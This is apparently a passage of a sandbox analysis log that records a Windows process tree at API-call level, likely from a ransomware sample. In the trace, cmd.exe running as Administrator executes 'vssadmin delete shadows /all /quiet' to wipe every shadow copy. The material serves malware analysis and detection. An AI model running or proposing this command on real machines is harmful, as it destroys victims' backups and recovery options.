lpNumberOfBytesWritten=0x20f998*=0x24, lpOverlapped=0x0) returned 1 [0201.839] GetProcessHeap () returned 0x290000 [0201.839] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x4012) returned 0x2af630 [0201.839] GetProcessHeap () returned 0x290000 [0201.839] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2af630 | out: hHeap=0x290000) returned 1 [0201.839] GetProcessHeap () returned 0x290000 [0201.840] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb0) returned 0x2a97e0 [0201.840] GetProcessHeap () returned 0x290000 [0201.840] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x22) returned 0x2a4610 [0201.840] GetProcessHeap () returned 0x290000 [0201.840] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x48) returned 0x2aaa90 [0201.841] GetConsoleOutputCP () returned 0x4e3 [0201.841] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a26bfe0 | out: lpCPInfo=0x4a26bfe0) returned 1 [0201.841] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0201.841] GetConsoleTitleW (in: lpConsoleTitle=0x20f950, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0201.841] GetProcessHeap () returned 0x290000 [0201.841] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x218) returned 0x2a9910 [0201.841] GetProcessHeap () returned 0x290000 [0201.841] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x5a) returned 0x2a9b30 [0201.842] GetProcessHeap () returned 0x290000 [0201.842] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x420) returned 0x2a9090 [0201.842] SetErrorMode (uMode=0x0) returned 0x0 [0201.842] SetErrorMode (uMode=0x1) returned 0x0 [0201.842] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2a90a0, lpFilePart=0x20f1e0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20f1e0*="Desktop") returned 0x25 [0201.842] SetErrorMode (uMode=0x0) returned 0x1 [0201.842] GetProcessHeap () returned 0x290000 [0201.842] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9090, Size=0x6e) returned 0x2a9090 [0201.842] GetProcessHeap () returned 0x290000 [0201.842] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9090) returned 0x6e [0201.842] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a25f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0201.842] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0201.842] GetProcessHeap () returned 0x290000 [0201.842] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x128) returned 0x2a5b70 [0201.842] GetProcessHeap () returned 0x290000 [0201.842] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x240) returned 0x291ab0 [0201.842] GetProcessHeap () returned 0x290000 [0201.842] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x291ab0, Size=0x12a) returned 0x291ab0 [0201.842] GetProcessHeap () returned 0x290000 [0201.842] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x291ab0) returned 0x12a [0201.842] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a25f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0201.842] GetProcessHeap () returned 0x290000 [0201.843] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xe8) returned 0x2a9db0 [0201.843] GetProcessHeap () returned 0x290000 [0201.843] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9db0, Size=0x7e) returned 0x2a9db0 [0201.843] GetProcessHeap () returned 0x290000 [0201.843] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9db0) returned 0x7e [0201.843] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0201.843] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x20ef50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ef50) returned 0xffffffffffffffff [0201.843] GetLastError () returned 0x2 [0201.843] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x20ef50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ef50) returned 0xffffffffffffffff [0201.843] GetLastError () returned 0x2 [0201.843] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0201.843] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x20ef50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ef50) returned 0x2a9ba0 [0201.843] FindClose (in: hFindFile=0x2a9ba0 | out: hFindFile=0x2a9ba0) returned 1 [0201.844] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x20ef50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ef50) returned 0xffffffffffffffff [0201.844] GetLastError () returned 0x2 [0201.844] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x20ef50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ef50) returned 0x2a9ba0 [0201.844] FindClose (in: hFindFile=0x2a9ba0 | out: hFindFile=0x2a9ba0) returned 1 [0201.844] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0201.844] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0201.844] GetConsoleTitleW (in: lpConsoleTitle=0x20f4a0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0201.844] GetProcessHeap () returned 0x290000 [0201.844] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x21c) returned 0x2a9110 [0201.844] GetConsoleTitleW (in: lpConsoleTitle=0x2a9120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0201.844] GetProcessHeap () returned 0x290000 [0201.844] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9110, Size=0xc0) returned 0x2a9110 [0201.844] GetProcessHeap () returned 0x290000 [0201.844] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9110) returned 0xc0 [0201.844] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0201.845] GetProcessHeap () returned 0x290000 [0201.845] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a9110 | out: hHeap=0x290000) returned 1 [0201.845] InitializeProcThreadAttributeList (in: lpAttributeList=0x20f258, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x20f218 | out: lpAttributeList=0x20f258, lpSize=0x20f218) returned 1 [0201.845] UpdateProcThreadAttribute (in: lpAttributeList=0x20f258, dwFlags=0x0, Attribute=0x60001, lpValue=0x20f208, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x20f258, lpPreviousValue=0x0) returned 1 [0201.845] GetStartupInfoW (in: lpStartupInfo=0x20f370 | out: lpStartupInfo=0x20f370*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0201.846] GetProcessHeap () returned 0x290000 [0201.846] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x20) returned 0x2a4640 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0201.846] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0201.847] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0201.847] GetProcessHeap () returned 0x290000 [0201.847] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a4640 | out: hHeap=0x290000) returned 1 [0201.848] GetProcessHeap () returned 0x290000 [0201.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x12) returned 0x2a8900 [0201.848] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x20f290*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x20f240 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x20f240*(hProcess=0x50, hThread=0x54, dwProcessId=0xbcc, dwThreadId=0xbd0)) returned 1 [0201.856] CloseHandle (hObject=0x54) returned 1 [0201.856] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0201.856] GetProcessHeap () returned 0x290000 [0201.856] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2aeb10 | out: hHeap=0x290000) returned 1 [0201.856] GetEnvironmentStringsW () returned 0x2aeb10* [0201.856] GetProcessHeap () returned 0x290000 [0201.856] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb0e) returned 0x2af630 [0201.856] FreeEnvironmentStringsW (penv=0x2aeb10) returned 1 [0201.856] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x20eb48, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x20eb48, ReturnLength=0x0) returned 0x0 [0201.856] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffda000, lpBuffer=0x20eb80, nSize=0x380, lpNumberOfBytesRead=0x20eb40 | out: lpBuffer=0x20eb80*, lpNumberOfBytesRead=0x20eb40*=0x380) returned 1 [0201.857] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x31f5b000" os_pid = "0xbc4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xb70" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 19 os_tid = 0xbc8 Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x1e36c000" os_pid = "0xbcc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xb70" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0xbd0 Thread: id = 22 os_tid = 0xbec Thread: id = 23 os_tid = 0x1ec Thread: id = 24 os_tid = 0x250 Thread: id = 25 os_tid = 0x834 Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x1b107000" os_pid = "0x5a4" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0xbcc" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0007d48b" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 26 os_tid = 0x1e8 Thread: id = 27 os_tid = 0x738 Thread: id = 28 os_tid = 0x33c Thread: id = 29 os_tid = 0x53c [0218.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xefd820 | out: lpSystemTimeAsFileTime=0xefd820*(dwLowDateTime=0xa7da1dd0, dwHighDateTime=0x1d50450)) [0218.696] GetCurrentProcessId () returned 0x5a4 [0218.696] GetCurrentThreadId () returned 0x53c [0218.696] GetTickCount () returned 0x3585c [0218.696] QueryPerformanceCounter (in: lpPerformanceCount=0xefd828 | out: lpPerformanceCount=0xefd828*=27810121161) returned 1 [0218.696] malloc (_Size=0x100) returned 0x398e80 Thread: id = 30 os_tid = 0x534 Thread: id = 31 os_tid = 0x6d0 Thread: id = 32 os_tid = 0x31c Thread: id = 33 os_tid = 0x888 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1440c000" os_pid = "0x890" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x5a4" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0007e325" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 34 os_tid = 0x86c Thread: id = 35 os_tid = 0x870 Thread: id = 36 os_tid = 0x874 Thread: id = 37 os_tid = 0x878 Thread: id = 38 os_tid = 0x88c Thread: id = 39 os_tid = 0x868